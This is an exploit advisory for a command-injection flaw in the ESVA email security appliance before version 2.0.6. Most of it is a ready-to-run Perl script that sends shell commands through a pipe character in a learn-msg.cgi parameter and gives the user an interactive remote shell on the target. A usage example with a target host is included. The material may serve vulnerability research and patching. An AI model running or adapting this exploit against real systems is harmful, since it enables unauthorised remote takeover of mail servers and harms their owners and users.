E-Mail Security Virtual Appliance (EVSA) Remote Command Execution

`# Exploit Title: E-Mail Security Virtual Appliance (ESVA) Remote Execution.  
# Date: 10 Aug 2012  
# Exploit Author: iJoo  
# Vendor Homepage: http://www.esvacommunity.com/  
# Software Link: http://sourceforge.net/projects/esva-project/  
# Version: < 2.0.6  
  
ESVA (E-Mail Security Virtual Appliance) is a pre-built and semi-configured email scanning appliance that will run on VMware Workstation, Server, Player or ESX Server.  
  
-=+ Infected Files  
  
..../cgi-bin/learn-msg.cgi  
..../cgi-bin/release-msg.cgi  
  
Not found any strips/filter to metacharacters..  
Attacker can easily execute command..  
  
-=+ Simple RCE ESVA  
  
#! /usr/bin/perl  
use LWP;  
use HTTP::Request;  
if (@ARGV < 1)  
{  
print "\n==========================================\n";  
print " ESVA - REMOTE EXECUTION SCRIPT \n";  
print "==========================================\n";  
print "Usage: perl esva.pl host (without http://)\n";  
print "Ex. perl esva.pl www.korban.com\n";  
exit;  
}  
$host=$ARGV[0];  
print "Try to Execution Command!\n";  
print "iDSc-shell# ";  
chomp( $cmd = <STDIN>);  
while($cmd !~ "exit")  
{  
$content = "";  
$ua = LWP::UserAgent->new();  
$ua->agent('');  
$request = HTTP::Request->new (GET => "http://".$host."/cgi-bin/learn-msg.cgi?id=%7c".$cmd."%3b");  
$response = $ua->request ($request);  
$content = $response->content;  
print $content."\n";  
print "iDSc-shell# ";  
chomp( $cmd = <STDIN>);  
}  
  
-=+ Thanks to  
My lovely Country NKRI INDONESIA!!  
binh4x staff - www.binushacker.net // Forum.binushacker.net  
  
`